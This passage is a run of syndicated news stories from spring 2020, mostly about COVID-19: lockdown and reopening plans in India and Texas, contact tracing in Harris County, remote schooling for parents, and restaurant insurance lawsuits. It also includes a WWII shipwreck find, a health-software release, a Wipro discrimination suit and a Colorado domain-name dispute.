July, companies too can plan their workforce returning to office, in the same way," Nasscom Senior Vice-President and Chief Strategy Officer Sangeeta Gupta told PTI. Currently, over 90 per cent of IT workforce is working from home and only those performing critical functions are going to offices. Meanwhile, during his interaction with states to discuss COVID-19 challenges, tech innovations and roadmap for the IT and electronics sector, Prasad also urged states' IT ministers to move swiftly and promote electronics manufacturing through pro-investment initiatives, to tap a "great opportunity" that now beckons India, in view of changing business dynamics due to COVID-19. The minister also directed that data from Aarogya Setu app should be made available online to the states right up-to district officials, in line with suggestions made by states. Prasad said states have been highly-appreciative of Aarogya Setu app, and that a similar solution for feature phones is in the works, and will be launched shortly. The meeting was attended by chief ministers of Haryana and Sikkim, deputy chief ministers of Bihar, Uttar Pradesh and Karnataka, who are also in charge of the IT department in their respective states, an official release said. Later while speaking to reporters, Prasad said his ministry is constantly monitoring spread of fake on social media platforms and that companies have told the government of strong progress they have made in removing such content. He cautioned that any inaction by companies in clamping down on fake would be met with consequences at the Centre and state levels, as well as police action. The minister said products coming from any country, particularly China, should be subject to stringent security audit and verification. "One thing is clear... we are not against any country, we are only pro-India, we are committed to India and will take measures to create opportunities for India. As regards security initiative...any product coming from any country, particularly China, we expect proper security audit and verification," Prasad said replying to a specific query on India's stance on Chinese products. The minister also underlined the government's commitment to promote electronics manufacturing, in a big way. "A great opportunity beckons India, and we already have policies in place. This is India's opportunity, where Centre and States Government should move together. I have urged state IT ministers that they should also undertake pro-investment initiatives," he said. The minister noted that three schemes -- Production Linked Incentive 2.0, Electronics Manufacturing Clusters, and Scheme for Promotion of Manufacturing of Electronic Components and Semiconductors (SPECS) -- have been notified by the Centre in order to attract investments in the electronics manufacturing sector, and appealed to states to supplement these with their schemes. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Graded lockdown to replace national lockdown post May 3 India oi-Vicky Nanjappa New Delhi, Apr 28: The national lockdown will be replaced with a graded lockdown post-May 3, sources have said. An official in the Ministry of Home Affairs tells OneIndia that they would be issuing guidelines on how to lift the lockdown in a graded manner in the next couple of days. The official also said that the lockdown would, however, remain in the hotspots. The restrictions would be toughest in Delhi, Mumbai and Ahmedabad, where a large number of coronavirus cases have been reported. Lockdown post May 3: 11 states want it extended During the meeting of the Chief Ministers with Prime Minister Narendra Modi, most states were in favour of extending the lockdown. They were of the view that the restrictions must not be lifted at any cost in the hotspots. The CMs were however unanimous in continuing with the ban on inter-state travel, religious gatherings and educational institutions. None of the states was also in favour of opening malls, theatres etc. During the meeting, the primary focus was on saving lives and also reviving the economy. All states would now wait for the guidelines to be issued by the MHA. The PM underlined that the lockdown had helped in the fight against COVID-19. He, however, warned that the danger was far from over. The impact of the virus would be visible in the coming months the PM said while reiterating that social distancing norms were crucial in this battle. He added that India's population is comparable to that of the combined population of several countries. The situation in many countries, including India, was almost similar at the start of March. However, due to timely measures, India has been able to protect many people. He, however, forewarned that the danger of the virus is far from over and constant vigilance is of paramount importance. Lockdown to be more stringent in hotspots PM Modi highlighted the importance for states to enforce guidelines strictly in the hotspots i.e. the red zone areas. He stated that the efforts of the states should be directed towards converting the red zones into orange and thereafter to green zones. The PM also said that the country has seen two Lockdowns till now, both different in certain aspects, and now we have to think of the way ahead. He said that as per experts, the impact of coronavirus will remain visible in the coming months. Reiterating the mantra of 'do gaj doori', he said that masks and face covers will become part of our lives in the days ahead. He added that under the circumstances, everyone's aim must be rapid response. He pointed out that many people are self-declaring whether they have cough and cold or symptoms, and that this is a welcome sign. On the issue of bringing back the Indians stranded abroad, the PM said that this has to be done keeping in mind the fact that they don't get inconvenienced and their families are not under any risk. On the economic front, the PM said that we have to give importance to the economy as well as continue the fight against COVID -19. He emphasised on the importance of usage of technology as much as possible and also to utilise time to embrace reform measures. He emphasised on the significance of ensuring that more people download the AarogyaSetu app to bolster the efforts of the country in the battle against COVID-19. He said, "we have to be brave and bring in reforms that touch the lives of common citizens." He also suggested that people associated with Universities can be integrated on devising ways to fight the pandemic and strengthen research as well as innovation. As Texas prepares to return to public life, Harris County Judge Lina Hidalgo on Tuesday said she will assemble hundreds of contact tracers whose work along with increased coronavirus testing is aimed at helping temper any possible resurgence of COVID-19. Hidalgo outlined the strategy in response to Gov. Greg Abbotts decision on Monday to allow restaurants, malls, movie theaters and other businesses to resume Friday with limited capacity. While Hidalgo is worried that allowing people to congregate sooner than health officials here had planned for could cause the virus to persist, she said Harris County would do its best to adjust to the governors agenda. Frankly, I think containing this virus will be a tall order given the May 1 timeline, Hidalgo said. But were going to do everything we can, move heaven and earth to make it work." Abbotts plan which calls for expanded contact tracing through the states Health and Human Services Department allows Texans to dine out, and in some cases go back to work about two weeks sooner than Houston health leaders had hoped. On Saturday, the number of Harris County cases is expected to peak. More Information Those hoping to volunteer with Harris County as one of 300 contact tracers can email teamwork@cjo.hctx.net. Tracers will be asked to call people who have come into contact with a confirmed COVID-19 case to ask about symptoms and to recommend they be tested. See More Collapse To Houstonians, Hidalgo asked that social distancing and face covering a requirement as of Monday continue as the best option to keep the virus at bay. Hidalgo said she plans to recruit 300 more contact tracers to pinpoint where the virus is spreading and to whom. From there, tracers will ask COVID-19 patients to isolate and for the people they came into contact with to be tested. Hidalgo estimates that one positive patient could have had contact with 20 other people. Her strategy is separate from the tracing program Abbott outlined in a 66-page report as one of the rolling steps in re-opening Texas businesses. The state plan started this week by mobilizing about 1,000 contact tracers from public health workers, school nurses and medical students using a call center. By May 11, the number of tracers should be quadrupled, which is less than half the 8,834 contact tracers that the Association of State and Territorial Health Officials says the state should have in place to reopen. In a new report, the association provides an estimate each state needs to rapidly identify, contain, support and retest individuals who are infected and have been exposed. Hidalgo said her contact tracing plan was already in the works but the governors decision to lift some restrictions forced the county to speed up its timetable. Dr. Marc Boom, president of Houston Methodist, said the nine-county Houston area needs 1,000 to 2,000 contact tracers under modeling projections. He said 300 in Harris County is consistent with the regions overall need. Testing without very good contact tracing is not very useful, said Boom. The key is to have both in place. Dr. Paul Klotman, president of Baylor College of Medicine, said the estimated 300 tracers Hidalgo wanted for Harris County might be a little low, but called it a start. Harris County Public Health currently has nine out of the 95 people tasked with COVID-19 response doing just contact tracing with a focus on congregate settings and high-risk groups, officials said As of Tuesday, the county can test up to 1,600 people daily at municipal drive-thru and mobile sites. The number of new cases has plateaued as well, indicating some success with the current level of social distancing and protective precautions, according to Houston health officials. Hidalgo warned, however, that the county is only equipped to handle up to 100 new positive cases per day. More than that would produce a spike that could jeopardize how the county manages cases, including the additional testing, hospitals admissions even though Hidalgo said those numbers have since flattened and contact tracing. The county is slated to dismantle a $11 million medical shelter at NRG stadium that was never used. If we let our foot off the gas right now, the virus will inevitably come back, and it will come back with as much force, if not more force, as before, Hidalgo said. Tracing, she said, is among the steps in preventing a surge. The expanded team of contact tracers will be picked from a pool of existing county employees, qualified volunteers and some new hires. Harris County Public Health epidemiologists will help train them on how to track the path of a COVID-19 patient. Hours after Hidalgo announced her contact tracing plan, the Commissioners Court approved the hiring of 43 new full-time positions to assist in training and managing those tracers. Hidalgo was not yet sure how much the tracing program would cost because the number of volunteers would dictate how many more they need to hire. County officials hope the temporary hiring can be reimbursed through the CARES Act. On Tuesday, the county was slated to send an internal memo to department heads on asking employees to be temporarily reassigned to contact tracing. No department was identified as being exempted, though officials said that most public health and emergency management employees have been busy dealing with the pandemic. Last week, Hidalgo said she would only consider easing Harris County restrictions on movement and commerce once the virus had reached its peak locally and widespread testing was available. The county judge has never provided a number for that benchmark in testing, even as testing capabilities have improved. Abbotts order from Monday struck down the portion of the Harris County measure that permitted fines of up to $1,000 for those caught not wearing masks in public. Hidalgo had urged law enforcement to use discretion when enforcing the order, and police said they would focus on distributing masks to bare-faced residents rather than citations. Todd Ackerman and Zach Despart contributed to this report nicole.hensley@chron.com An Australian coastal freighter from World War II has been found 77 years after it was torpedoed by a Japanese submarine. The SS Wollongbar II was discovered off Crescent Head on the New South Wales mid-north coast and confirmed by archaeologists from Heritage NSW. The freight vessel was carrying butter and bacon when it was destroyed by two torpedoes in 1943, killing 32 people on-board. The food washed up on shore and was found by residents along the coastline who were under strict wartime food rationing leading to a boom in cake-making. The SS Wollongbar II - a coastal freighter sunk by a Japanese torpedo during the Second World War - has been discovered 77 years later by local fishermen on the New South Wales mid-north coast The sonar scan of the sunken ship which was confirmed by archaeologists from Heritage NSW Acting Minister for Veterans Geoff Lee said only five crew survived the attack. 'We have just commemorated our brave veterans on Anzac Day but it's also important to remember the toll of war for everyday Australians,' Mr Lee said in statement on Monday. 'This secret has been hidden at the bottom of the deep sea for decades and the find will give some closure for descendants and relatives of the 32 people who lost their lives.' Oxley MP Melinda Pavey said a significant part of the Mid North Coast's wartime history has been solved with the shipwreck's discovery. 'The Crescent Head and Port Macquarie fishing industry cooperated brilliantly to help solve this mystery,' she said. The ship wreck of the SS Wollongbar II which was one of many vessels lost to enemy fire along Australia's eastern coastline during the war The Wollongbar had been carrying boxes of butter and bacon which washed up on shore after the ship sunk MP Melinda Pavey said a significant part of the Mid North Coast's wartime history has been solved with the shipwreck's discovery (Wollongbar II pictured) The state government hopes to unearth more details about the lives of those on the SS Wollongbar II and urged those who were relatives of the crew to contact Heritage NSW. 'We want relatives of those who sailed on the SS Wollongbar II to get in contact, so we can share findings of the survey conducted by our archaeologists,' director of heritage operations at Heritage NSW Tim Smith said. Latest Edition of InterSystems HealthShare Responds to New U.S. Interoperability Requirements InterSystems (News - Alert), a creative data technology provider dedicated to helping customers solve the most critical scalability, interoperability, and speed problems, today announced the availability of the latest version of the InterSystems HealthShare suite of connected health solutions. Version 2020.1 provides capabilities to support the final interoperability rules from U.S. CMS (Centers for Medicare & Medicaid Services) and U.S. ONC (Office of the National Coordinator for Health Information Technology) for greater sharing of patient healthcare records. HealthShare version 2020.1 helps make that possible by fully supporting the new HL7 FHIR version R4 messaging standard, a key requirement of the new rules for data sharing. HealthShare Provider Directory leverages a new Push Messaging Service for healthcare providers, giving them the capability to update their information in the NPPES (National Payr and Provider Enumeration System) and other critical systems. The latest version of HealthShare also includes support for the CommonWell national health data exchange network, comprising more than 15,000 provider organizations and more than 66 million patient records. Through access to large health networks like CommonWell, HealthShare provides timely access to complete health records, a top priority for providers and patients. Providers need to share data across networks and systems to ensure patients receive the best care available. What's more, HealthShare is now built on the InterSystems IRIS for Health data platform, the world's first and only data platform specifically engineered to extract value from healthcare data. With Intersystems IRIS for Health as the foundation for the latest version, HealthShare customers now have faster SQL queries, increased scalability, and enhanced interoperability for large-scale deployments, empowering users with access to unified care records that improve operational workflows and patient care. "Our customers on the front lines of delivering care need access to the right information at the right time," said Don Woodlock, head of healthcare platforms for InterSystems. "With this release, the combination of FHIR R4 and CommonWell allows our customers to take a huge step forward in liquidity of patient data. Now it is significantly easier to provide the kind of interoperability that we all want." HealthShare Personal Community now integrates with external identity providers, so patients or their proxies can use a familiar username and password from an external system to quickly and securely access their personal medical records. Single sign-on with HealthShare Personal Community is live in the United Kingdom with National Health Service (NHS) credentialing. HealthShare Personal Community, which delivers information sharing capabilities to patients for use in apps and with other providers, now also provides an API-based integration with HealthWise for educational content for patients, including the Healthwise COVID-19 Resource Center. About InterSystems InterSystems is the information engine that powers some of the world's most important applications. In healthcare, business, government, and other sectors where lives and livelihoods are at stake, InterSystems has been a strategic technology provider since 1978. InterSystems is a privately held company headquartered in Cambridge, Massachusetts (USA), with offices worldwide, and its software products are used daily by millions of people in more than 80 countries. For more information, please visit InterSystems.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005871/en/ A group of five former employees of Wipro in the United States has filed a class-action lawsuit accusing the Indian IT company of employment discrimination against individuals who are not South Asian and who are not of Indian origin. Headquartered in Bangalore, Wipro has over 160,000 workers worldwide, including over 14,000 employees in the United States. The lawsuit filed in a District Court in New Jersey claims that while only about 12 per cent of the United States' IT industry (the industry in which Wipro operates) is South Asian, at least 80 per cent (or more) of Wipro's United States workforce is South Asian (primarily from India). "This grossly disproportionate workforce results from Wipro's intentional pattern and practises of employment discrimination against individuals who are not South Asian and who are not of Indian national origin, including discrimination in hiring, promotion, and termination decisions, and its use of employment practices that result in a disparate impact on those same groups, alleges the lawsuit. When contacted, the company said: "Wipro does not comment on pending litigation". All five former employees are US citizens. Three of them Gregory MacLean (a resident of California), James Gibbs (Tennessee) and Ronald Hemenway (Florida) are of the Caucasian race. Rick Valles from California is from the Hispanic race, while Ardeshir Pezeshki from California is of Iranian origin. Demanding a trial by jury, the class action lawsuit seeks Wipro to adopt a valid, non-discriminatory method for hiring, promotion, termination, and other employment decisions. The lawsuit alleges that Wipro operates under a general policy of discrimination in favour of South Asians and against individuals who are not South Asian and not Indian. This general policy of discrimination manifests itself in the same general fashion with respect to Wipro's hiring, staffing, promotion, and termination decisions, the lawsuit alleges. "To fulfil its employment preference for South Asians and Indians, Wipro seeks to maximize the number of visas it receives each year from the federal government, it says. Wipro is consistently one of the top five H-1B visa recipients. Wipro submits visa petitions for more positions than actually exist in the US in order to maximize its chances of securing the highest number of available H-1B visas from the lottery process, it alleges. "In this way, Wipro has been able to secure visas for far more individuals than it actually has a present need for. For example, in 2015, Wipro received 5,968 new visas, while in 2016, it received 6,831 new visas far more positions that could actually exist given that Wipro employs less than 15,000 individuals in the United States, the lawsuit says. Alleging that Wipro gives preference to South Asian and Indian applicants located in the US over non-South Asian and non-Indian applicant, the lawsuit says that on information and belief, both Wipro's internal recruiters and its third-party recruiters give preference to locating and recruiting South Asian and Indian candidates, who are then given preference throughout the hiring process. The dining rooms at the McKenzies Barbeque and Burgers locations in Conroe and Montgomery are usually bustling with activity throughout the day as local cue lovers get their fix of sliced beef, jalapeno sausage and pulled pork. That has not been the case over the past month, however, as Montgomery County Judge Mark Keough gave an order on March 18 for all restaurants to cease on-site dining operations due to the COVID-19 pandemic. ON HOUSTONCHRONICLE.COM: Coronavirus live updates: Trump praises Abbott, Houston Those restrictions were lifted as Texas Gov. Greg Abbott announced Monday that businesses all over the state will be permitted to re-open in phases, beginning on Friday. Restaurants, retail stores, movie theaters, malls, museums, libraries and churches will be limited to 25 percent capacity until the next phase permits 50 percent on May 18. McKenzies is one of the local establishments planning to reopen its dining rooms immediately, following the Phase 1 guidelines, according to vice president Colin McKenzie. Sense of normalcy Were extremely excited to have everyone back in the restaurant and just get back to a little bit of normalcy, McKenzie said. Ill just be thankful to have our guests start coming back in, and I know our staff will be excited. Well just be able to continue to move forward with our efforts to improve our business and grow our business. REOPEN TEXAS: Abbott announces which Texas businesses can and can't open May 1 Health and safety has always been at the forefront of our business when it comes to our staff and our customers. So we understand the orders and whatnot, and we appreciate everyone being flexible with us and the support that has been shown to us. Were extremely thankful for the community and everything everyone has done for us. McKenzies has been serving up popular barbecue locally since the mid-90s after brothers Kevin and Darin McKenzie expanded into Montgomery County from their original Huntsville location. Barbecue staple Over the years, the restaurants have become a staple among local barbecue fans and garnered critical acclaim. According to its website, McKenzies has won the Best Barbecue in Montgomery County title for 14 consecutive years. Colin McKenzie, Darins son, was out of the country when the mandate from Keough was first announced. He immediately jumped into action from his Caribbean vacation. MORNING REPORT: Get the top stories on HoustonChronicle.com sent directly to your inbox The past month has been interesting, to say the least, he said. I was fielding phone calls from my honeymoon in Jamaica, just kind of helping my dad organize things. Since I got back, its definitely been interesting. Thankfully for us, we already did a lot of carry-out, pick-up business beforehand. It made up a large majority of our business. (The shutdown) definitely hurt us, but weve been able to keep going with pick-up and delivery. McKenzies, because of its multifaceted business model, has been able to retain nearly all of its staff members amid the pandemic. Many other local restaurants have not been so lucky. Colin McKenzie credited Gordon Food Services with keeping up with the demand for product, despite the hard times. He also said McKenzies has been generating business through Feeding the Front Line, a charitable organization that aims to provide food for healthcare workers while also supporting local restaurants and their employees. Were very fortunate with the model that we have, Colin McKenzie said. A lot of restaurants around us have been either laying off or furloughing employees. Weve been getting an influx of applications from local restaurants. Were looking through those and trying to make the best decisions about whether we can hire any of those individuals. But our goal was to try to retain as much of the staff as possible, and weve been able to do that. jpoorman@hcnonline.com Daniel Levins son, Linus, seven, was supposed to be doing math. Instead, he pretended to take a shower in the living room, rubbing a dry eraser under his arms like a bar of soap, which upset his five-year-old sister, distracting her from her colouring. As much as he tried, Levin, who lives in Brooklyn, New York, could not get Linus to finish the math. His hopes for the reading assignment were not high, either. Hes supposed to map out a whole character trait sheet today, Levin said one day last week. Honestly, if he writes the name and the age of the character, Ill consider that a victory. Ciarra Kohns third grade son uses five different apps for school. Her four-year-olds teacher sends lesson plans, but Kohn has no time to do them. Her oldest, a sixth grader, has eight subjects and eight teachers, and each has their own method. Sometimes when Kohn does a lesson with him, shell ask if he understood it because she didnt. Im assuming you dont, but maybe you do, said Kohn, of Bloomington, Illinois, referring to her son. Then well get into an argument, like, No, Mom! She doesnt mean that, she means this! Parental engagement has long been seen as critical to student achievement, as much as class size, curriculum and teacher quality. That has never been more true than now, and all across the country, moms and dads pressed into emergency service are finding it one of the most exasperating parts of the pandemic. With teachers relegated to computer screens, parents have to play teachers aide, hall monitor, counsellor and cafeteria worker all while trying to do their own jobs under extraordinary circumstances. Essential workers are in perhaps the toughest spot, especially if they are away from home during school hours, leaving just one parent, or no one at all, at home when students need them most. Kindergartners need help logging into Zoom. Seventh graders need help with algebra, last used by Dad circa 1992. School often ends by lunchtime, leaving parents from Long Island to Dallas to Los Angeles asking themselves the same question: How bad am I if my child plays Fortnite for the next eight hours? Yarlin Matos of the Bronx, New York, whose husband still goes to work as a manager at a McDonalds, has seven children, ages three to 13, to keep on track. She spent part of her stimulus check on five Amazon Fire tablets because the devices promised by the citys Education Department had not arrived. Matos, a psychology major at Bronx Community College, said she must stay up late, sometimes until 3 a.m., trying to get her own work done. I had a breaking moment where I had to lock myself in the bathroom and cry, she said. It was just too much. Laura Landgreen, a teacher in Denver, always thought it strange that she sent her two sons, Callam Hugo, four, and Landon Hugo, seven, off to school rather than home schooling them herself. She doesnt find it strange anymore. My first grader we would kill each other, she said. Hes fine at school, but here he has a meltdown every three seconds. I need to teach other children, she said. There is widespread concern that even with remote learning in place, many students will return to school behind where they would have been if theyd been in the classroom. (President Donald Trump said Monday that governors should consider reopening schools before the end of the school year.) Teachers had little time to prepare for remote learning, and many children had inadequate or no computer access. For students without close parental guidance, the outcome could turn out even worse. Ronda McIntyre, a fifth-grade teacher in Columbus, Ohio, said that of her 24 students, only six were participating regularly. They are the ones whose parents were already most involved in their childrens education: Parents that have always been in touch with what is my kid doing in school, they are making sure that their kids are working, she said. Other families have reached out to McIntyre to say that they are too overwhelmed with their own work to help with the lessons at home. And some have told her they are trying but that their children wont co-operate. She gets frustrated every time we start, one mother emailed her last week, and then I get irritated and she gets irritated and it usually ends in me saying we should take a break and then the cycle repeats. One or both of us typically ends up in tears by the time its all said and done and no work is completed. Even parents who describe running tight ships at home say they are anxious about what months away from classrooms will mean for their children. They are also finding it hard to accept that 25-minute Zoom classes or lessons sent by email is what school has been reduced to. The litmus tweet of the moment came from Sarah Parcak, an archeologist at the University of Alabama at Birmingham. I told our sons (lovely, kind, caring) teacher that, no, we will not be participating in her virtual classroom, and that he was done with the 1st grade, she wrote on Twitter in early April. We cannot cope with this insanity. Survival and protecting his well being come first. Her post brought thousands of responses on Twitter and Facebook. In terms of the online reaction, I would say on Twitter, probably 95 per cent of the reaction has been positive, she said in an interview. On Facebook, which has more favour among the pre-millennial crowd, the reaction was more mixed. Many people praised her decision, while others criticized her as dismissing the hard work of teachers and doing a disservice to her child. On Facebook, the mommy wars have come, she said, and Im the hill people are willing to die on from both sides. Education experts advise that making a schedule can help children treat the current setup more like school, as can being clear about when its work time and when its play time, using a timer, for example, to delineate when they are in school. Creating a dedicated space for them to work can also be helpful. And parents should take it easy on themselves on days when things dont go as planned. Are your kids killing each other, or have you killed your child? said Kathryn Hirsh-Pasek, an education researcher and a senior fellow at The Brookings Institution. Is there anything theyre eating that resembles healthy food in between the chocolate and sugar? If the answer is yes, give yourself a break. As stressful as it can be, of course, its not a crisis for everyone. Behold Helen Williams-Morris, a mother of three children and a cafeteria worker at a school in Memphis, Tennessee. She said that all her children are fairly self-sufficient. Her son is in college, and her middle child, a ninth grader named Camille, has been taking care of her work on her own. She attends Crosstown High, a charter high school that uses a lot of technology in normal times. Williams-Morris also has a six-year-old, Calyah, but she said that if she plops her at the dining room table, she can make a meat loaf or some grits in their open kitchen while the child does her work. Williams-Morris just peeks over now and again to help with any questions and to make sure Calyah hasnt switched the screen over to Minecraft. But I wouldnt say this is easy for me, Williams-Morris said. I like talking to other adults. Kim Pinckney-Lewis of Mechanicsburg, Pennsylvania, would also seem to be well-prepared. A former teacher, Pinckney-Lewis lays out the schedule for her son, Gavin, a first grader with special needs, every morning on coloured pieces of construction paper. Red is English; orange is math; blue are his breaks. She previews his video lessons to make sure they arent too long and makes notes about when to end them herself if necessary. And yet despite her background in education, she said, I have complete and total anxiety. Some days, she said, I am so tired by 4 p.m. that it would be really nice for us to play a game right now, but Im just going to lay on this couch. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe "It feels like a slap in the face," Bret Thompson says. He and his wife, Lucy Thompson Ramirez, own Pez Cantina, a seafood-focused Mexican spot in Bunker Hill. In mid-March, when it became apparent the coronavirus pandemic would force them to either close the restaurant entirely or remain open only for takeout and delivery, Thompson called his insurance company. He had what he describes as a disheartening, two-minute conversation with an agent from Travelers Indemnity Co. "He kind of got on the phone with me like, 'Okay, I'll hear you out but you know you're going to get denied,'" Thompson says. The agent asked questions, listened to Thompson's answers then, "turned around and said, 'We are denying your claim.'" It felt like a betrayal, so Thompson decided to sue. "You're giving these guys money every single month," Thompson says. "To do what? To insure you for things that could happen to your restaurant. And then when it does happen, in the most horrific way possible, [you get] zero, nothing, no help at all." He is among a growing number of restaurateurs going to court to try to get insurers to make good on expectations. Musso & Frank, one of Los Angeles's oldest (and most old-school) joints, is suing its insurance company. So is Encino restaurant Scratch Bar & Kitchen, which also has a Montecito location. In Northern California, French Laundry chef and owner Thomas Keller filed suit against his insurance company. These restaurants are the tip of the spear. Around Southern California and the rest of the United States restaurants (and other businesses) are suing insurers for denying coronavirus-related business interruption claims. Most people expect the trickle of lawsuits to become a torrent. "At this point, I have over 150 either clients or businesses that have contacted me about this," says lawyer Brian Kabateck, who's representing both Pez Cantina and Scratch Bar in their suits. His downtown L.A. firm, Kabateck LLP, has also filed or is preparing to file suits on behalf of restaurants in Texas and Chicago. We reached out to Travelers Indemnity about the Pez Cantina lawsuit. The company sent the following statement and pointed readers to additional info on its website: "We recognize that the spread of COVID-19 has affected many of us in ways we never could have expected, and we are taking many steps to support our customers, agents, brokers and communities during this difficult time. In our standard commercial property policies that include business interruption coverage, we have very specific exclusions stating that losses resulting from a virus or bacteria are not covered." Insurance companies are bracing for a wave of claims. Business owners are bracing for a stream of denials. The courts are bracing for a flood of lawsuits. No one thinks it's going to end well except maybe the lawyers. For restaurateurs, it's a desperate race to get the money they believe they're owed before their businesses collapse. A martini at Musso & Frank in Hollywood. (Caroline Pardilla for LAist) The Devil Is In The Details Although the lawsuits these restaurants have filed against their insurers differ in the details, they share similar DNA. If you want to try to understand insurance policies dense, eye-peelingly boring documents that typically run to the hundreds of pages start by looking at their exclusion clauses. That's a fancy way of saying "stuff that isn't covered." Most insurance companies that have denied coronavirus-related claims have cited a few reasons. The first is what's known as a virus exclusion clause. Some policies, like the one Musso & Frank has with Mitsui Sumitomo Insurance USA, state the company "will not pay for loss or damage caused by or resulting from any virus, bacterium or other micro-organism that induces or is capable of inducing physical distress, illness or disease." In other cases, insurance companies have denied claims because they say businesses that were forced by state or local authorities to shut down, didn't suffer any physical damage. Finally, some insurance policies have force majeure clauses, industry lingo for "acts of God." They typically get insurers off the hook for damages sustained in crazy, random events such as wars, explosions, acts of terrorism, severe weather events and, in some cases, epidemics. But insurance policies aren't always clear cut. That's by design, said Jim Baer, a managing partner at the law firm Baer, Negrin & Troff. "This is not something anyone's ever going to admit to but insurance companies write their contracts so that you can argue either side of the issue," Baer says. "Why? Because it's a very complicated, specialized area and the unwritten rule is he who yells the loudest gets paid." A Case Study In Competing Clauses Let's say you're running a restaurant and one day, government officials, in an attempt to stop a potentially deadly virus from spreading, issue an order requiring most businesses to close. You file a business interruption claim with your insurance company. Your insurer looks at your policy and denies your claim based on the virus exclusion clause. You argue that the reason your business was interrupted wasn't because of coronavirus after all, there's no evidence COVID-19 was present in your restaurant but because of the order issued by local authorities. because of coronavirus after all, there's no evidence COVID-19 was present in your restaurant but because of the order issued by local authorities. You point to the clause in your contract, which says the insurance company will pay for the loss of business income caused "by action of civil authority," provided certain conditions are met. Now, you have a battle between competing clauses. "You've hit the point where the rubber meets the road," says lawyer Michael J. Bidart, who's representing Musso & Frank in their suit against Mitsui Sumitomo. "Like many things in life, it's not always the presence of one peril [that] produces a loss." What, precisely, caused the interruption to these businesses: Was it the virus itself or the stay-at-home orders? This will likely be one of the major points of contention between insurers and the restaurants whose claims they have denied. For John Echeverria, whose family owns and runs Musso & Frank, the answer is clear. "The reason we got shut down is because the government ordered us to," he says. "We didn't have coronavirus in the restaurant. To me, it's just an excuse by the insurance industry to not pay out on valid claims." Echeverria also happens to be a lawyer. Insurers will probably see it differently. We reached out to Mitsui Sumitomo about the Musso & Frank lawsuit and a representative said the company "does not comment on pending litigation matters." Ultimately, the courts will decide whose interpretation is correct but Kabateck is optimistic about his clients' chances. Pez Cantina, like Musso & Frank, has a virus exclusion clause in its policy. "There could be two causes of a loss one's covered, one's not covered and the courts in California are very good to policy holders. They say if there's two causes like that, the tie goes to the policy holder. I think that's one of the arguments that's going to win here for an awful lot of people," Kabateck says. Veal schnitzel at Musso & Frank. (Tina Whatcott-Echeverria) A Matter Of Interpretation Then there's the issue of what, exactly, constitutes damage. Musso & Frank's policy, like many others, provides coverage that pays for the loss of business income "due to the necessary 'suspension' of your 'operations'" but "the 'suspension' must be caused by direct physical loss of or damage to property at premises." In the denial letter Mitsui Sumitomo sent to Musso & Frank, the insurer writes: "Based on the information provided to date, it does not appear that COVID-19 caused 'direct physical loss of or damage' to insured property. MSI, therefore, respectfully reserves the right to deny coverage for the Claim on this basis." What exactly constitutes a "direct physical loss"? "A very good question and one which will be central to virtually all of these cases around the country," Bidart says. Once again, it will be a matter for the courts to decide. What Happens Next? Insurance companies try to consider every possible permutation of every scenario as they construct lengthy contracts that expose them to as little risk as possible. Silica dust. Trade sanctions. Burst pipes. Cyber security breaches. But a once-in-a-century pandemic? Up to now, that hasn't been explicitly mentioned in most insurance policies. Baer thinks that will change. It will have to. "If everyone that has business interruption insurance goes to the insurance companies and asks for complete coverage because of this pandemic, the insurance industry would go out of business," he says. "So the government is going to have to step in and make some tough decisions to help people out because it's not as simple as just saying, 'You get coverage.'" The National Association of Insurance Commissioners posted a statement on its website that reads, in part: "Business interruption policies were generally not designed or priced to provide coverage against communicable diseases, such as COVID-19 and therefore include exclusions for that risk... If insurance companies are required to cover such claims, such an action would create substantial solvency risks for the sector, significantly undermine the ability of insurers to pay other types of claims, and potentially exacerbate the negative financial and economic impacts the country is currently experiencing." Baer isn't the only one who thinks coronavirus-related will change the way business insurance policies are written and potentially set new legal precedents. "I think it's going to create law and I think it is going to create important law and hopefully fast," Kabateck says, "but right now the courts are closed." With much of the country's legal apparatus shut down and California's stay-at-home orders still in place, what's a small business owner to do? Whatever they can. Thompson says Pez Cantina plans to reopen on May 4 for takeout and delivery. Musso & Frank, which has never done takeout and doesn't have the kind of menu that lends itself to such, received a PPP loan. Between that and the owners' cash reserves, they have managed to keep all 84 employees (everyone except the owners) on the payroll. The Echeverrias are working hard to preserve the hundred-year-old institution. "Over the hundred years of the restaurant, we have gone through the Spanish flu epidemic, Prohibition, the Great Depression, World War II and the crash in 2008," Echeverria says. "We'll get through this too. It's just an issue of how." Underscoring the significance of the cases, the court was sitting with a complement of nine judges instead of the usual three-judge panel. The consolidated arguments were held by teleconference as the courts doors have been largely closed to the public since mid-March because of the novel coronavirus pandemic. Colo. pregnancy center sees gains in support despite losing lawsuit against abortion activist group Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A pro-life pregnancy center in Colorado that recently lost a legal battle against an abortion advocacy group says they're still seeing patients and have received increased support in the community. The Resource Center of Greeley, a pro-life pregnancy and STD support center located near the University of Northern Colorado, filed a Uniform Domain Dispute Resolution Policy complaint in February against the abortion advocacy group Truth4Greeley that set up the website domain name Truth4Greeley.com which is similar to their own, Tests4Greeley.com. The abortion advocacy website is used to steer women away from the pregnancy center and lists a Planned Parenthood abortion facility as among the clinics it recommends. The website also encourages people to campaign against the Resource Center of Greeley by leaving a review on "Google, Yelp and Social Media pages to warn those who come across them looking for real support to stay away! The Resource Center is known for deleting bad reviews on their Facebook page, so make sure to check in to make sure its [sic] still there!" Along with the domain name dispute, the pregnancy center said the abortion advocacy group was acting in bad faith against them rather than just engaging in ideological disagreement. The website was simply one part of the attack, said Gail Holmes of the Resource Center of Greeley in an interview with The Christian Post on Thursday. The whole effort included dispersing flyers on campus and posting fake clinic on Google reviews and other programs. Holmes told CP that while they couldn't stop the flyers on campus or any picketing or the Google postings, they had hoped that they "could do something about the website. Not only did they do their best to mimic our name, but they took our branding, and rearranged some of the elements, used parts of it and then also used our branding colors. So the site looked eerily like our own web page, she said. But on March 30 an arbiter who settled the case concluded otherwise, deciding that shutting down the abortion advocacy website Truth 4 Greeley contradicted a society that prides itself on allowing the free exchange of views and opinions. It would be a very bold decision to deprive a party of a domain name which is being used for the dissemination of news, information and opinion and which is not otherwise contrary to the law, read the ruling, The Colorado Sun reported on Tuesday. Although the Resource Center of Greeley was disappointed by the decision, Holmes told CP that through the back-and-forth they received a great deal of support from UNC students and financial donors. Client numbers in no way decreased and 